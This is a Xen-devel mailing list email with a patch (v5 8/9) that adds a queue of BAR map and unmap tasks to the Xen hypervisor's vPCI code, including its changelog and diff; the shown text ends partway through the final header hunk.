Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whZRC-001Bnw-C7
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 23:04:10 +0200
Received: from [10.42.69.12] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <Stewart.Hildebrand@amd.com>)
 id 6a4ebb1f-2eae-0a2a0a5409dd-0a2a450cab22-26
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 23:04:10 +0200
Received: from [52.101.193.55]
 (helo=CH1PR05CU001.outbound.protection.outlook.com)
 by tlsNG-d25034.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <Stewart.Hildebrand@amd.com>)
 id 6a4ebb48-f399-0a2a450c0019-3465c1372abd-3
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 23:04:09 +0200
Received: from CH0P223CA0016.NAMP223.PROD.OUTLOOK.COM (2603:10b6:610:116::34)
 by MW5PR12MB5623.namprd12.prod.outlook.com (2603:10b6:303:199::9)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.13; Wed, 8 Jul
 2026 21:04:01 +0000
Received: from CH3PEPF0000000F.namprd04.prod.outlook.com
 (2603:10b6:610:116:cafe::c) by CH0P223CA0016.outlook.office365.com
 (2603:10b6:610:116::34) with Microsoft SMTP Server (version=TLS1_3,
 cipher=TLS_AES_256_GCM_SHA384) id 15.21.202.10 via Frontend Transport; Wed, 8
 Jul 2026 21:04:01 +0000
Received: from satlexmb08.amd.com (165.204.84.17) by
 CH3PEPF0000000F.mail.protection.outlook.com (10.167.244.40) with Microsoft
 SMTP Server (version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id
 15.21.181.6 via Frontend Transport; Wed, 8 Jul 2026 21:04:01 +0000
Received: from Satlexmb09.amd.com (10.181.42.218) by satlexmb08.amd.com
 (10.181.42.217) with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.2.2562.41; Wed, 8 Jul
 2026 16:04:01 -0500
Received: from ubuntu (10.180.168.240) by satlexmb09.amd.com (10.181.42.218)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.2.2562.41; Wed, 8 Jul
 2026 14:03:59 -0700
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=amd.com header.i="@amd.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=L9v5N4jEv2FOg7LQ2usToFIKIt5VoS3toutJpR0vaDl4/PuGZu8ZgdbpMckvLH/7z256LFf08W5Yiy3DJB2dT/AT7cc+bG+jD0Pk3YWlqWTPpI3yRhS845ueSuvFHtQmkf5GJbX4iQ6NSgLeGWNkFnf9YNBKXIMfn1hSH8FytQwz38I4qRgNg0PPwpDaIZwBCQJ1MlZFwss80vu4pFhk7J/5qTQyko01mCQptKUWugUoT8uR7ueREWIw1Dx3F58xuwv+SfTlLo4zAqz8PmacCife5GGnr0QGziQ9MTgp3tFfPE6DTsx+LIWhUEfGFRAra+moXsPJi62gxoGCZG4L1Q==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=NwT/vmxOazu6ITUa9dqv7ojlgNbcRzolsBQWcOh7e5g=;
 b=XeBAhVj2H3cMrbJNpF4y2GXHVyrxmQqlyGdzmlyKd87z5JeOxxNDdiNVWE1TUcTRag/OjFt/MSLyQbU9unGgtz0k4PeNPwy8mAeqCBsBPTTj7PpCEf0iYwQnURF3jp2tn5L8R39jrQVjR8n2LMRJCXzPf16KJPgcxShgi33UezgY98uKDsX7TamsNK+XkXwg5rfPkiMECSkAAS9go5kzdLG6YOovqqHhb3509wM1AYr1Cne3IlxLsolr6nLDnFCO9m1glEExMINbz3wV65QuRs7M0tctVo7U47zVs9VJmyKFZ6eSQfruYyP2fvzLeO2BIV1Dnu/V8Ugbq+eWzzkkCA==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass (sender ip is
 165.204.84.17) smtp.rcpttodomain=lists.xenproject.org smtp.mailfrom=amd.com;
 dmarc=pass (p=quarantine sp=quarantine pct=100) action=none
 header.from=amd.com; dkim=none (message not signed); arc=none (0)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=amd.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=NwT/vmxOazu6ITUa9dqv7ojlgNbcRzolsBQWcOh7e5g=;
 b=xxVm5QnwSDXyYil6AIg7VyRiLxrMrCXiEQmmFcYc952Zc1YDjHZz92hC+CKdY7U9oa5ayxq/AwdjchNWivcxtIFsXfdcMuJhA85db5c/DHINUs8G7FvqiR5Uce1VKTYLyUXnGCNjGlSB9Akj6dzkuBCNjBZ263PAXm4ryF/Y0M8=
X-MS-Exchange-Authentication-Results: spf=pass (sender IP is 165.204.84.17)
 smtp.mailfrom=amd.com; dkim=none (message not signed)
 header.d=none;dmarc=pass action=none header.from=amd.com;
Received-SPF: Pass (protection.outlook.com: domain of amd.com designates
 165.204.84.17 as permitted sender) receiver=protection.outlook.com;
 client-ip=165.204.84.17; helo=satlexmb08.amd.com; pr=C
From: Stewart Hildebrand <stewart.hildebrand@amd.com>
To: <xen-devel@lists.xenproject.org>
CC: Stewart Hildebrand <stewart.hildebrand@amd.com>, Andrew Cooper
	<andrew.cooper3@citrix.com>, Anthony PERARD <anthony.perard@vates.tech>,
	Michal Orzel <michal.orzel@amd.com>, Jan Beulich <jbeulich@suse.com>, "Julien
 Grall" <julien@xen.org>, =?UTF-8?q?Roger=20Pau=20Monn=C3=A9?=
	<roger.pau@citrix.com>, Stefano Stabellini <sstabellini@kernel.org>, "Mykyta
 Poturai" <mykyta_poturai@epam.com>
Subject: [PATCH v5 8/9] vpci: allow queueing of mapping operations
Date: Wed, 8 Jul 2026 17:02:23 -0400
Message-ID: <20260708210233.922275-9-stewart.hildebrand@amd.com>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <20260708210233.922275-1-stewart.hildebrand@amd.com>
References: <20260708210233.922275-1-stewart.hildebrand@amd.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
Content-Type: text/plain
X-Originating-IP: [10.180.168.240]
X-ClientProxiedBy: satlexmb07.amd.com (10.181.42.216) To satlexmb09.amd.com
 (10.181.42.218)
X-EOPAttributedMessage: 0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: CH3PEPF0000000F:EE_|MW5PR12MB5623:EE_
X-MS-Office365-Filtering-Correlation-Id: ff9c680c-2ae0-4018-84bd-08dedd346fc6
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|1800799024|23010399003|36860700016|82310400026|376014|11063799006|56012099006|18002099003|22082099003|6133799003|13003099007;
X-Microsoft-Antispam-Message-Info:
	oKaiOwnxHXgNRUEX22qcgTtdnJSYrJhgiL2LtaUYgiIOMjBfhJ949OUj46AOMuDeyoqW4RXI4a8SHqlOoeluJKaOvA+yUgvBUgv39btt2jaBcVnTpJfLyvTSra7fpwmLjFxf+O9Tjcg3OqlYmtMvVeG8wdUiLlTGzXvcQaNknaSldvIaFlw4pgwiZf+581C/2b+NudGn2kePoA04+mtNuqTvRdjPESOEeqxpAMEZ2lognMJN5ASzEVNWQ5SXo3UxDZKRQSfxnlvq+f+kstLfjFvqYd4iEPuneAF9azzDfb/5w7W0O6jEjbAhSzNNrKL7ViZSC4Hrxm4y3C9sYwzzq/p4q/OuWz5C+TwrxgF5jb05qex0eX6ZSWP1JUQf6ZizDCRBBygq1WSOOcbdV/OwXzJx4iZIx/E2mtsxJ0HGFS54YLTgXtrxSnEPnA6l67++TJjiF7fu/4QRUbhqmI+z452qEy1jmBsYEFgs56PfQKEZ4ls7xbylhGZMz8VSdqBK9Copt2JOZJk0Ertb69jMO+IN8vojASIuNAhRFnCTEFBt/Vmrd2EyQxrTx09IgkM9oVnq1qhchVQsiwqIr9sxCwFbttDhkejnGHF4+tXLx17iQpLPvpgMi1HmtlxmRAvFyTPEo/ho92E0CX+kHufvVDBK7dxKgZ1hd05J5jkn8DYC5vdRdlToPqm2p8Ad1k0khqK5RoL7C1Nmzv3VY4ABtQ==
X-Forefront-Antispam-Report:
	CIP:165.204.84.17;CTRY:US;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:satlexmb08.amd.com;PTR:InfoDomainNonexistent;CAT:NONE;SFS:(13230040)(1800799024)(23010399003)(36860700016)(82310400026)(376014)(11063799006)(56012099006)(18002099003)(22082099003)(6133799003)(13003099007);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	2BI0o4CAF78KqUNHcFhJE41o9bZzX8E1gJQx8+b4BNve5K2TN7FwGGLFAxl3IA5U69PJ9geBnCXR1LjvxhS7V7M5fMSFwnbiswyUbvUk3RFOKSKXa3suVPJr49yJERDBbsmwOebjoTdJccjpHowKxaD50lOPxd+iVix2PWjgPCXY7gpfOcsBL5AFXVtr2NFX46meO8ZCZSejL32IOAsgxZyJ378BPJFhlX9g+cNRgC+r+B9jZE5vLjl/PITc3whBKyxNct5byFeLWzb18q3k4IwpSVMMhc7WmudZeLQOiaeEOd9CjChUMANaqLI1udSYxEJYQBxky6oMD8eCe5+GnYJRZ1okOIdHtJm/1volc4yBanLhpvagNvpYMLYZwUKkOsvZo+qwCEjCkOqdCOxMf1007u3/BpJEwzfe60szjeeQ49xrYHoNV2ek1iDBxWYB
X-OriginatorOrg: amd.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 08 Jul 2026 21:04:01.5955
 (UTC)
X-MS-Exchange-CrossTenant-Network-Message-Id: ff9c680c-2ae0-4018-84bd-08dedd346fc6
X-MS-Exchange-CrossTenant-Id: 3dd8961f-e488-4e60-8e11-a82d994e183d
X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIp: TenantId=3dd8961f-e488-4e60-8e11-a82d994e183d;Ip=[165.204.84.17];Helo=[satlexmb08.amd.com]
X-MS-Exchange-CrossTenant-AuthSource:
	CH3PEPF0000000F.namprd04.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Anonymous
X-MS-Exchange-CrossTenant-FromEntityHeader: HybridOnPrem
X-MS-Exchange-Transport-CrossTenantHeadersStamped: MW5PR12MB5623
X-purgate-ID: tlsNG-d25034/1783544650-0D727D51-5445B4F8/0/0
X-purgate-type: clean
X-purgate-size: 19956

Introduce vPCI BAR mapping task queue. Store information needed to
map/unmap BARs in struct map_task. Allow queueing of BAR map/unmap
operations in a queue, thus making it possible to perform multiple p2m
operations associated with single PCI config space register access.

This is preparatory work for further changes that need to perform
multiple unmap/map operations before returning to guest.

While queueing multiple operations is valid, at the moment, only a
single operation will be queued.

Removed rangeset names, since RANGESETF_no_print was set anyway.

Amends: 622bdd962822 ("vpci/header: handle p2m range sets per BAR")
Signed-off-by: Stewart Hildebrand <stewart.hildebrand@amd.com>
Signed-off-by: Mykyta Poturai <mykyta_poturai@epam.com>
---
As a side effect of this, the ASSERT(rangeset_is_empty(mem)) in
modify_bars() is no longer bogus (see [2]).

v4->v5:
* split non-functional pre-requisites out into separate patches
* move pdev into struct map_task in anticipation of mapping different pdevs
  corresponding to different VFs
* move call to vpci_vcpu_destroy() from vcpu_destroy() to vcpu_teardown()

v3->v4:
* switch back to dynamically allocated queue elements

v2->v3:
* rebase on ("vpci: Use pervcpu ranges for BAR mapping") from [1]
* rework with fixed array of map/unmap slots

[1] https://lore.kernel.org/xen-devel/cover.1772806036.git.mykyta_poturai@epam.com/T/#t
[2] https://lore.kernel.org/xen-devel/20250814160358.95543-2-roger.pau@citrix.com/

v1->v2:
* new patch
---
 xen/common/domain.c        |   5 +
 xen/drivers/vpci/header.c  | 222 +++++++++++++++++++++++++------------
 xen/drivers/vpci/private.h |   1 +
 xen/drivers/vpci/vpci.c    |  17 ++-
 xen/include/xen/vpci.h     |  13 ++-
 5 files changed, 180 insertions(+), 78 deletions(-)

diff --git a/xen/common/domain.c b/xen/common/domain.c
index 53ac1d6c4034..d576c2a40fdf 100644
--- a/xen/common/domain.c
+++ b/xen/common/domain.c
@@ -36,6 +36,7 @@
 #include <xen/argo.h>
 #include <xen/llc-coloring.h>
 #include <xen/xvmalloc.h>
+#include <xen/vpci.h>
 #include <asm/p2m.h>
 #include <asm/processor.h>
 #include <public/sched.h>
@@ -439,6 +440,8 @@ static int vmtrace_alloc_buffer(struct vcpu *v)
  */
 static int vcpu_teardown(struct vcpu *v)
 {
+    vpci_vcpu_destroy(v);
+
     vmtrace_free_buffer(v);
 
     return 0;
@@ -508,6 +511,8 @@ struct vcpu *vcpu_create(struct domain *d, unsigned int vcpu_id)
     if ( arch_vcpu_create(v) != 0 )
         goto fail_sched;
 
+    vpci_vcpu_init(v);
+
     d->vcpu[vcpu_id] = v;
     if ( vcpu_id != 0 )
     {
diff --git a/xen/drivers/vpci/header.c b/xen/drivers/vpci/header.c
index f7eaf9c6ddf2..99ce67053068 100644
--- a/xen/drivers/vpci/header.c
+++ b/xen/drivers/vpci/header.c
@@ -23,6 +23,7 @@
 #include <xen/lib.h>
 #include <xen/sched.h>
 #include <xen/softirq.h>
+#include <xen/xvmalloc.h>
 
 #include <xsm/xsm.h>
 
@@ -33,9 +34,21 @@
     ((x)->type == VPCI_BAR_MEM32 || (x)->type == VPCI_BAR_MEM64_LO ||   \
      (x)->type == VPCI_BAR_ROM)
 
+struct map_task {
+    /* Structure to store state while {un}mapping PCI BARs. */
+    struct list_head next; /* List element in v->vpci.task_queue */
+    const struct pci_dev *pdev;
+    struct bar_map {
+        uint64_t addr;
+        uint64_t guest_addr;
+        struct rangeset *mem;
+    } bars[ARRAY_SIZE(((struct vpci_header *)NULL)->bars)];
+    bool map : 1;
+};
+
 struct map_data {
     struct domain *d;
-    const struct vpci_bar *bar;
+    const struct bar_map *bar;
     bool map;
 };
 
@@ -102,21 +115,82 @@ static int cf_check map_range(
     return rc;
 }
 
-static int process_map_task(const struct pci_dev *pdev, bool map)
+static void destroy_map_task(struct map_task *task)
+{
+    unsigned int i;
+
+    for ( i = 0; i < ARRAY_SIZE(task->bars); i++ )
+        rangeset_destroy(task->bars[i].mem);
+
+    xvfree(task);
+}
+
+void vpci_clear_map_queue(struct vcpu *v, const struct pci_dev *pdev)
+{
+    struct map_task *task, *tmp;
+
+    list_for_each_entry_safe ( task, tmp, &v->vpci.task_queue, next )
+    {
+        if ( !pdev || task->pdev == pdev )
+        {
+            list_del(&task->next);
+            destroy_map_task(task);
+        }
+    }
+}
+
+static struct map_task *alloc_map_task(const struct pci_dev *pdev, bool map,
+                                       bool rom_only)
+{
+    struct map_task *task;
+    unsigned int i;
+
+    task = xvzalloc(struct map_task);
+    if ( !task )
+        return NULL;
+
+    task->pdev = pdev;
+
+    for ( i = 0; i < ARRAY_SIZE(task->bars); i++ )
+    {
+        if ( !MAPPABLE_BAR(&pdev->vpci->header.bars[i]) )
+            continue;
+
+        if ( rom_only && pdev->vpci->header.bars[i].type != VPCI_BAR_ROM )
+            continue;
+
+        task->bars[i].mem = rangeset_new(pdev->domain, NULL,
+                                         RANGESETF_no_print);
+
+        if ( !task->bars[i].mem )
+        {
+            destroy_map_task(task);
+            return NULL;
+        }
+
+        task->bars[i].addr = pdev->vpci->header.bars[i].addr;
+        task->bars[i].guest_addr = pdev->vpci->header.bars[i].guest_addr;
+    }
+
+    task->map = map;
+
+    return task;
+}
+
+static int process_map_task(struct map_task *task)
 {
-    struct vpci_header *header = NULL;
+    const struct pci_dev *pdev = task->pdev;
     unsigned int i;
 
     ASSERT(rw_is_locked(&pdev->domain->pci_lock));
 
-    header = &pdev->vpci->header;
-    for ( i = 0; i < ARRAY_SIZE(header->bars); i++ )
+    for ( i = 0; i < ARRAY_SIZE(task->bars); i++ )
     {
-        struct vpci_bar *bar = &header->bars[i];
+        struct bar_map *bar = &task->bars[i];
         struct rangeset *mem = bar->mem;
         struct map_data data = {
             .d = pdev->domain,
-            .map = map,
+            .map = task->map,
             .bar = bar,
         };
         int rc;
@@ -146,29 +220,47 @@ static int process_map_task(const struct pci_dev *pdev, bool map)
 
 bool vpci_process_pending(struct vcpu *v)
 {
-    const struct pci_dev *pdev = v->vpci.pdev;
-    int rc;
-
-    if ( !pdev )
-        return false;
+    struct map_task *task;
+    int rc = 0;
 
     read_lock(&v->domain->pci_lock);
 
-    if ( !pdev->vpci || (v->domain != pdev->domain) )
+    while ( (task = list_first_entry_or_null(&v->vpci.task_queue,
+                                             struct map_task, next)) != NULL )
     {
-        v->vpci.pdev = NULL;
-        read_unlock(&v->domain->pci_lock);
-        return false;
-    }
+        const struct pci_dev *pdev = task->pdev;
 
-    rc = process_map_task(pdev, v->vpci.cmd & PCI_COMMAND_MEMORY);
-    if ( rc == -ERESTART )
-    {
-        read_unlock(&v->domain->pci_lock);
-        return true;
-    }
+        if ( !pdev )
+        {
+            ASSERT_UNREACHABLE();
+            vpci_clear_map_queue(v, NULL);
+            rc = -EILSEQ;
+            break;
+        }
 
-    v->vpci.pdev = NULL;
+        if ( !pdev->vpci || (v->domain != pdev->domain) )
+        {
+            list_del(&task->next);
+            destroy_map_task(task);
+            continue;
+        }
+
+        rc = process_map_task(task);
+        if ( rc == -ERESTART )
+        {
+            read_unlock(&v->domain->pci_lock);
+            return true;
+        }
+
+        list_del(&task->next);
+        destroy_map_task(task);
+
+        if ( rc )
+        {
+            vpci_clear_map_queue(v, pdev);
+            break;
+        }
+    }
 
     read_unlock(&v->domain->pci_lock);
 
@@ -178,18 +270,17 @@ bool vpci_process_pending(struct vcpu *v)
     return false;
 }
 
-static int __init apply_map(struct domain *d, const struct pci_dev *pdev,
-                            uint16_t cmd)
+static int __init apply_map(struct map_task *task)
 {
-    struct vpci_header *header = &pdev->vpci->header;
+    struct domain *d = task->pdev->domain;
     int rc = 0;
     unsigned int i;
 
     ASSERT(rw_is_write_locked(&d->pci_lock));
 
-    for ( i = 0; i < ARRAY_SIZE(header->bars); i++ )
+    for ( i = 0; i < ARRAY_SIZE(task->bars); i++ )
     {
-        struct vpci_bar *bar = &header->bars[i];
+        struct bar_map *bar = &task->bars[i];
         struct rangeset *mem = bar->mem;
         struct map_data data = { .d = d, .map = true, .bar = bar };
 
@@ -213,7 +304,7 @@ static int __init apply_map(struct domain *d, const struct pci_dev *pdev,
     return rc;
 }
 
-static void defer_map(const struct pci_dev *pdev, uint16_t cmd, bool rom_only)
+static void defer_map(struct map_task *task)
 {
     struct vcpu *curr = current;
 
@@ -223,9 +314,8 @@ static void defer_map(const struct pci_dev *pdev, uint16_t cmd, bool rom_only)
      * is mapped. This can lead to parallel mapping operations being
      * started for the same device if the domain is not well-behaved.
      */
-    curr->vpci.pdev = pdev;
-    curr->vpci.cmd = cmd;
-    curr->vpci.rom_only = rom_only;
+    list_add_tail(&task->next, &curr->vpci.task_queue);
+
     /*
      * Raise a scheduler softirq in order to prevent the guest from resuming
      * execution with pending mapping operations, to trigger the invocation
@@ -240,12 +330,17 @@ static int modify_bars(const struct pci_dev *pdev, uint16_t cmd, bool rom_only)
     struct pci_dev *tmp;
     const struct domain *d;
     const struct vpci_msix *msix = pdev->vpci->msix;
+    struct map_task *task;
     bool bar_valid[ARRAY_SIZE(header->bars)] = { false };
     unsigned int i, j;
     int rc;
 
     ASSERT(rw_is_write_locked(&pdev->domain->pci_lock));
 
+    task = alloc_map_task(pdev, cmd & PCI_COMMAND_MEMORY, rom_only);
+    if ( !task )
+        return -ENOMEM;
+
     /*
      * Create a rangeset per BAR that represents the current device memory
      * region and compare it against all the currently active BAR memory
@@ -261,7 +356,7 @@ static int modify_bars(const struct pci_dev *pdev, uint16_t cmd, bool rom_only)
     for ( i = 0; i < ARRAY_SIZE(header->bars); i++ )
     {
         struct vpci_bar *bar = &header->bars[i];
-        struct rangeset *mem = bar->mem;
+        struct rangeset *mem = task->bars[i].mem;
         unsigned long start = PFN_DOWN(bar->addr);
         unsigned long end = PFN_DOWN(bar->addr + bar->size - 1);
         unsigned long start_guest = PFN_DOWN(bar->guest_addr);
@@ -299,7 +394,8 @@ static int modify_bars(const struct pci_dev *pdev, uint16_t cmd, bool rom_only)
             gprintk(XENLOG_G_WARNING,
                     "%pp: can't map BAR%u - offset mismatch: %#lx vs %#lx\n",
                     &pdev->sbdf, i, bar->guest_addr, bar->addr);
-            return -EINVAL;
+            rc = -EINVAL;
+            goto fail;
         }
 
         if ( !iomem_access_permitted(pdev->domain, start, end) )
@@ -309,7 +405,8 @@ static int modify_bars(const struct pci_dev *pdev, uint16_t cmd, bool rom_only)
                    pdev->domain, start, end);
             if ( !is_hardware_domain(pdev->domain) )
                 domain_crash(pdev->domain);
-            return -EPERM;
+            rc = -EPERM;
+            goto fail;
         }
 
         rc = xsm_iomem_mapping_vpci(XSM_HOOK, pdev->domain, start, end,
@@ -321,7 +418,7 @@ static int modify_bars(const struct pci_dev *pdev, uint16_t cmd, bool rom_only)
                    pdev->domain, start, end, rc);
             if ( !is_hardware_domain(pdev->domain) )
                 domain_crash(pdev->domain);
-            return rc;
+            goto fail;
         }
 
         rc = rangeset_add_range(mem, start_guest, end_guest);
@@ -329,13 +426,13 @@ static int modify_bars(const struct pci_dev *pdev, uint16_t cmd, bool rom_only)
         {
             printk(XENLOG_G_WARNING "Failed to add [%lx, %lx]: %d\n",
                    start_guest, end_guest, rc);
-            return rc;
+            goto fail;
         }
 
         /* Check for overlap with the already setup BAR ranges. */
         for ( j = 0; j < i; j++ )
         {
-            struct rangeset *prev_mem = header->bars[j].mem;
+            struct rangeset *prev_mem = task->bars[j].mem;
 
             if ( rangeset_is_empty(prev_mem) )
                 continue;
@@ -346,7 +443,7 @@ static int modify_bars(const struct pci_dev *pdev, uint16_t cmd, bool rom_only)
                 gprintk(XENLOG_WARNING,
                        "%pp: failed to remove overlapping range [%lx, %lx]: %d\n",
                         &pdev->sbdf, start_guest, end_guest, rc);
-                return rc;
+                goto fail;
             }
         }
 
@@ -356,7 +453,7 @@ static int modify_bars(const struct pci_dev *pdev, uint16_t cmd, bool rom_only)
             gprintk(XENLOG_WARNING,
                     "%pp: failed to sanitize BAR#%u memory: %d\n",
                     &pdev->sbdf, i, rc);
-            return rc;
+            goto fail;
         }
     }
 
@@ -367,9 +464,9 @@ static int modify_bars(const struct pci_dev *pdev, uint16_t cmd, bool rom_only)
         unsigned long end = PFN_DOWN(vmsix_table_addr(pdev->vpci, i) +
                                      vmsix_table_size(pdev->vpci, i) - 1);
 
-        for ( j = 0; j < ARRAY_SIZE(header->bars); j++ )
+        for ( j = 0; j < ARRAY_SIZE(task->bars); j++ )
         {
-            struct rangeset *mem = header->bars[j].mem;
+            struct rangeset *mem = task->bars[j].mem;
 
             if ( rangeset_is_empty(mem) )
                 continue;
@@ -380,7 +477,7 @@ static int modify_bars(const struct pci_dev *pdev, uint16_t cmd, bool rom_only)
                 gprintk(XENLOG_WARNING,
                        "%pp: failed to remove MSIX table [%lx, %lx]: %d\n",
                         &pdev->sbdf, start, end, rc);
-                return rc;
+                goto fail;
             }
         }
     }
@@ -424,7 +521,7 @@ static int modify_bars(const struct pci_dev *pdev, uint16_t cmd, bool rom_only)
                 for ( j = 0; j < ARRAY_SIZE(header->bars); j++)
                 {
                     const struct vpci_bar *bar = &header->bars[j];
-                    struct rangeset *mem = bar->mem;
+                    struct rangeset *mem = task->bars[j].mem;
 
                     if ( !rangeset_overlaps_range(mem, start, end) ||
                          /*
@@ -443,7 +540,7 @@ static int modify_bars(const struct pci_dev *pdev, uint16_t cmd, bool rom_only)
                         gprintk(XENLOG_WARNING,
                                 "%pp: failed to remove [%lx, %lx]: %d\n",
                                 &pdev->sbdf, start, end, rc);
-                        return rc;
+                        goto fail;
                     }
                 }
             }
@@ -472,12 +569,19 @@ static int modify_bars(const struct pci_dev *pdev, uint16_t cmd, bool rom_only)
          * will always be to establish mappings and process all the BARs.
          */
         ASSERT((cmd & PCI_COMMAND_MEMORY) && !rom_only);
-        return apply_map(pdev->domain, pdev, cmd);
+        rc = apply_map(task);
+        destroy_map_task(task);
+        return rc;
     }
 
-    defer_map(pdev, cmd, rom_only);
+    defer_map(task);
 
     return 0;
+
+ fail:
+    destroy_map_task(task);
+
+    return rc;
 }
 
 static void cf_check cmd_write(
@@ -705,18 +809,6 @@ static void cf_check rom_write(
     }
 }
 
-static int bar_add_rangeset(const struct pci_dev *pdev, struct vpci_bar *bar,
-                            unsigned int i)
-{
-    char str[32];
-
-    snprintf(str, sizeof(str), "%pp:BAR%u", &pdev->sbdf, i);
-
-    bar->mem = rangeset_new(pdev->domain, str, RANGESETF_no_print);
-
-    return !bar->mem ? -ENOMEM : 0;
-}
-
 int vpci_init_header(struct pci_dev *pdev)
 {
     uint16_t cmd;
@@ -826,10 +918,6 @@ int vpci_init_header(struct pci_dev *pdev)
         else
             bars[i].type = VPCI_BAR_MEM32;
 
-        rc = bar_add_rangeset(pdev, &bars[i], i);
-        if ( rc )
-            goto fail;
-
         rc = pci_size_mem_bar(pdev->sbdf, reg, &addr, &size,
                               (i == num_bars - 1) ? PCI_BAR_LAST : 0);
         if ( rc < 0 )
@@ -882,12 +970,6 @@ int vpci_init_header(struct pci_dev *pdev)
                                4, rom);
         if ( rc )
             rom->type = VPCI_BAR_EMPTY;
-        else
-        {
-            rc = bar_add_rangeset(pdev, rom, num_bars);
-            if ( rc )
-                goto fail;
-        }
     }
     else if ( !is_hwdom )
     {
diff --git a/xen/drivers/vpci/private.h b/xen/drivers/vpci/private.h
index 2907f6b40fce..52f26394745b 100644
--- a/xen/drivers/vpci/private.h
+++ b/xen/drivers/vpci/private.h
@@ -44,6 +44,7 @@ typedef struct {
 #define REGISTER_VPCI_EXTCAP(name, finit, fclean) \
     REGISTER_VPCI_CAPABILITY(PCI_EXT_CAP_ID_##name, name, finit, fclean, true)
 
+void vpci_clear_map_queue(struct vcpu *v, const struct pci_dev *pdev);
 int __must_check vpci_init_header(struct pci_dev *pdev);
 
 int vpci_init_capabilities(struct pci_dev *pdev, bool ext_only);
diff --git a/xen/drivers/vpci/vpci.c b/xen/drivers/vpci/vpci.c
index 0ac9ec8b0475..226c7870dd6c 100644
--- a/xen/drivers/vpci/vpci.c
+++ b/xen/drivers/vpci/vpci.c
@@ -24,6 +24,17 @@
 
 #ifdef __XEN__
 
+void vpci_vcpu_destroy(struct vcpu *v)
+{
+    if ( v->vpci.task_queue.next )
+        vpci_clear_map_queue(v, NULL);
+}
+
+void vpci_vcpu_init(struct vcpu *v)
+{
+    INIT_LIST_HEAD(&v->vpci.task_queue);
+}
+
 #ifdef CONFIG_HAS_VPCI_GUEST_SUPPORT
 static int assign_virtual_sbdf(struct pci_dev *pdev)
 {
@@ -89,7 +100,7 @@ struct vpci_register *vpci_get_register(const struct vpci *vpci,
 
 void vpci_deassign_device(struct pci_dev *pdev)
 {
-    unsigned int i;
+    struct vcpu *v;
 
     ASSERT(rw_is_write_locked(&pdev->domain->pci_lock));
 
@@ -116,8 +127,8 @@ void vpci_deassign_device(struct pci_dev *pdev)
     }
     spin_unlock(&pdev->vpci->lock);
 
-    for ( i = 0; i < ARRAY_SIZE(pdev->vpci->header.bars); i++ )
-        rangeset_destroy(pdev->vpci->header.bars[i].mem);
+    for_each_vcpu ( pdev->domain, v )
+        vpci_clear_map_queue(v, pdev);
 
     xfree(pdev->vpci);
     pdev->vpci = NULL;
diff --git a/xen/include/xen/vpci.h b/xen/include/xen/vpci.h
index ab94eb60d65f..6bb09afd4eb0 100644
--- a/xen/include/xen/vpci.h
+++ b/xen/include/xen/vpci.h
@@ -19,6 +19,9 @@
  */
 #define VPCI_MAX_VIRT_DEV       (PCI_SLOT(~0) + 1)
 
+void vpci_vcpu_destroy(struct vcpu *v);
+void vpci_vcpu_init(struct vcpu *v);
+
 /* Assign vPCI to device by adding handlers. */
 int __must_check vpci_assign_device(struct pci_dev *pdev);
 
@@ -54,7 +57,6 @@ struct vpci {
             uint64_t guest_addr;
             uint64_t size;
             uint64_t resizable_sizes;
-            struct rangeset *mem;
             enum {
                 VPCI_BAR_EMPTY,
                 VPCI_BAR_IO,
@@ -153,10 +155,8 @@ struct vpci {
 };
 
 struct vpci_vcpu {
-    /* Per-vcpu structure to store state while {un}mapping of PCI BARs. */
-    const struct pci_dev *pdev;
-    uint16_t cmd;
